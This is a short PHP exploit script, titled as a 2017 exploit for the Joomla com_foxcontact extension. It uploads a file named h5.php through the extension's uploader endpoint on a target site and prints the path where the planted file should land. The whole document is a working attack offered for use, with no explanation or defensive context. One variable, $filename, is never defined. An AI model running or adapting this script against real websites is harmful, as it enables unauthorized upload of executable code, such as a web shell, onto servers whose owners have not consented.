Exploit Com_foxcontact 2017

<?php
# *** Zepek_al ***
$uploadfile="h5.php";
$urlq = "http://site.com.br";
$ch = curl_init("$urlq/index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id=107");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
$luv = uniqid() . "_" . $filename;
echo "Sucesso : $urlq/components/com_foxcontact/uploads/$luv$uploadfile";
?>